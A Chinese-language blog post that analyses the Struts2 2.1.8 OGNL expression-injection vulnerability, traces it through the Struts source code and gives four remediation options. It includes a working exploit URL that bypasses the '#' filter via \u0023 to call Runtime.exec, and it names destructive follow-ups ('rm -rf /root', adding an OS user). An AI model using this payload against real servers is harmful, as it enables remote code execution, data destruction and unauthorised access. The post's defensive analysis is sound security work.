Struts2.1.8 Ognl 漏洞浅析和解决方案,
Struts2.1.8 Ognl 漏洞浅析和解决方案,
前面的话
工作了好几点,一直都没有认认真真的去写过什么东西,趁着最近这段时间有空,总结一下这几年在工作中的一些经验,尤其是Struts2 Ognl 漏洞,当年不知道影响了多少个互联网企业。现在把他记录下来,作为对几年工作的一个回忆吧。
如果您是对Struts2不熟悉,又想测试Struts2 Ognl 漏洞的读者,请下先移步到Struts2 入门示例,里面有一个简单的Struts示例, 正好也是基于Struts2.1.8的一个示例,非常适合测试Struts2.1.8 Ognl 漏洞。
漏洞浅析
我们看看是那一段代码引起的这个漏洞,经过测试分析源码知道。当Struts2获取前台所传参数的内容的时候,他会先获得用户提交的参数名,然后从值栈(Value Stack)中找到符合参数值的内容,并打印。
其中ValueStack的findValue方法是关键点,我们看一下Value Stack类中定义的方法。
public interface ValueStack{
public abstract String findString(String expr);
public abstract String findString(String expr, boolean throwExceptionOnFailure);
/**
* Find a value by evaluating the given expression against the stack in the default search order.
*
* @param expr the expression giving the path of properties to navigate to find the property value to return
* @return the result of evaluating the expression
*/
public abstract Object findValue(String expr);
public abstract Object findValue(String expr, boolean throwExceptionOnFailure);
/**
* Find a value by evaluating the given expression against the stack in the default search order.
*
* @param expr the expression giving the path of properties to navigate to find the property value to return
* @param asType the type to convert the return value to
* @return the result of evaluating the expression
*/
public abstract Object findValue(String expr, Class asType);
public abstract Object findValue(String expr, Class asType, boolean throwExceptionOnFailure);
}
我们可以看到findValue()有三个参数:
expr 客户所传参数的表达式,
asType 参数的表达式需要转换的类类型,
throwExceptionOnFailure: 失败都是时候是否抛出异常
我们下面在看一下ValueStack类的实现类OgnlValueStack中的findValue的实现方法:
public Object findValue(String expr, Class asType, boolean throwExceptionOnFailure) {
try {
if (expr == null) {
return null;
}
if ((overrides != null) && overrides.containsKey(expr)) {
expr = (String) overrides.get(expr);
}
// 这一步才是漏洞的关键所在
Object value = ognlUtil.getValue(expr, context, root, asType);
if (value != null) {
return value;
} else {
checkForInvalidProperties(expr, throwExceptionOnFailure, throwExceptionOnFailure);
return findInContext(expr);
}
} catch (OgnlException e) {
checkForInvalidProperties(expr, throwExceptionOnFailure, throwExceptionOnFailure);
return findInContext(expr);
} catch (Exception e) {
logLookupFailure(expr, e);
if (throwExceptionOnFailure)
throw new XWorkException(e);
return findInContext(expr);
} finally {
ReflectionContextState.clear(context);
}
}
该方法中调用了
Object value = ognlUtil.getValue(expr, context, root);
继续深入追踪进入OgnlUtil文件,看到如下代码:
public Object getValue(String name, Map context, Object root) throws OgnlException {
return Ognl.getValue(compile(name), context, root);
}
最后可以看到OgnlUtil类的compile, 这一步居然执行了表达式:
public Object compile(String expression) throws OgnlException {
if (enableExpressionCache) {
Object o = expressions.get(expression);
if (o == null) {
o = Ognl.parseExpression(expression);
expressions.put(expression, o);
}
return o;
} else
return Ognl.parseExpression(expression);
}
看完了源码我们知道,Ognl.getValue()方法的作用,它根据表达式(参数1),在上下文(参数2)和指定类中(参数3)查找响应的内容,并返回,若没有则返回空。在查询的过程中,表达式会被执行,这才使得攻击者有可乘之机,利用这个方法来执行一些恶意的行为。
测试漏洞
我们可以在浏览器中输入如下Url:http://localhost:8080/Struts2Ongl/login.action?redirect:%25{3-4}
如果浏览器上显示:http://localhost:8080/Struts2Ongl/login.action?-1 , 则说明该Struts2版本存在ognl表达式漏洞,因为参数后面的表达式被执行了。
如果浏览器上显示:http://localhost:8080/Struts2Ongl/login.action?redirect:%25{3-4},则说明该Struts2版本不存在ognl表达式漏洞,它没有执行参数后面的表达式。
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
?user.address.city=Bishkek&user[‘favoriteDrink’]=kumys
ONGL将它转换为(如下java代码):
action.getUser().getAddress().setCity(“Bishkek”) ;
action.getUser().setFavoriteDrink(“kumys”) ;
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护。
以下Url请求代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击。
http://localhost:8080/Struts2Ongl/login.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(a)=true
&(b)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023zzz')
(\u0023zzz\u003dnew%20java.lang.Boolean("false")))
&(c)(@java.lang.Runtime@getRuntime().exec("calc"))
转义后Url如下:
http://localhost:8080/Struts2Ongl/login.action?('#_memberAccess['allowStaticMethodAccess']')(a)=true
&(b)(('#context['xwork.MethodAccessor.denyMethodExecution']=#zzz')
(#zzz=new%20java.lang.Boolean("false")))
&(c)(('#rt.exec("calc")')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是执行一下代码:
java.lang.Runtime.getRuntime().exec("calc");
在windows下的演示效果便是弹出了计算器
类似的可以执行如下代码:
java.lang.Runtime.getRuntime().exec("rm –rf /root")
,只要有权限就可以删除任何一个目录。
java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)
后果是相当可怕
解决方案
大概有四种解决方案,方案如下。建议使用第四中方案。
1.升级到struts2.2版本。
这个可以避免这个问题,经测试发现新版本虽然解决了上述的漏洞,但是新的问题是strus标签出问题了。
<s:bean id="Test" name="cn.com.Test"></s:bean>
<s:property value="#Test.getType().get(cType.toString())" />
这样的标签在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的问题导致的,补了漏洞,正常的使用也用不了了。
所以sebug网站上的建议升级到2.2版本是不可行的。
2.struts参数过滤。
<interceptor-ref name="params">
<param name="excludeParams">.*\\u0023.*</param>
</interceptor-ref>
这个可以解决漏洞问题,缺点是工作量大,每个项目都得改struts配置文件。如果项目里,是引用的一个类似global.xml的配置文件,工作量相应减少一些。
3.在前端请求进行过滤。
比如在ngnix,apache进行拦截,参数中带有\u0023的一律视为攻击,跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。
请求如果是get方式,可以进行过滤,如果是post方式就过滤不到了,所以还是应该修改配置文件或更新新的jar包。
4、全面升级。struts2.1.8.1升级至2.3.24
- 1、新增JAR包:commons-lang3-3.2.jar 和 javassist-3.11.0.GA.jar
- 2、替换JAR包:
commons-fileupload-1.2.1.jar —->commons-fileupload-1.3.1.jar
commons-io-1.3.2.jar —–>commons-io-2.2.jar
freemarker-2.3.15.jar —->freemarker-2.3.22.jar
ognl-2.7.3.jar —-> ognl-3.0.6.jar
struts2-core-2.1.8.1.jar —-> struts2-core-2.3.24.jar
xwork-core-2.1.6.jar —–> xwork-core-2.3.24.jar- 3、保留原有的commons-lang.jar,org.apache.commons.lang.StringUtils类被org.apache.commons.lang3.StringUtils替换了
- 4、修改web.xml, 将org.apache.struts2.dispatcher.FilterDispatcher 改为 org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter
评论暂时关闭